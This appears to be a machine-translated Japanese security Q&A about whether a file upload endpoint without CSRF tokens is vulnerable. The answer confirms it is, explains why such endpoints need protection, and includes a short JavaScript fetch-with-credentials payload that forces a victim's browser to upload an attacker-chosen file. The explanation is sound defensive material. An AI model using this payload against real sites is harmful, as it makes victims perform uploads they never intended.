web-dev-qa-db-ja.com

ファイルアップロード機能に対するCSRF攻撃

ファイルアップロード機能に対してCSRF攻撃を実行することは可能ですか?私のアプリケーションは、ランダムトークンなしでmultipart/form-data POSTリクエストを送信してファイルをアップロードします。アプリケーションに対するこの攻撃を示すHTMLフォームを準備することは可能ですか?

6
user187205

はい、あなたは脆弱です。サーバーの状態を変更するすべてのエンドポイントには、CSRF攻撃に対する保護が必要です。ファイルのアップロードは除外されません。

では、これをどのように利用できるのでしょうか?あなたのサイトがexample.com攻撃者は、被害者をだまして訪問させるサイトで次のようなJSをホストします。

myFormData = new FormData();
myFormData.append("file", fileContent, "filename.txt");
fetch("http://example.com/fileupload.php", {
    method: "post",
    body: myFormData,
    credentials: "include"
});

これにより、攻撃者がファイルにfileContentを選択した場合、被害者のブラウザがPOSTリクエストをサイトに送信します。

7
Anders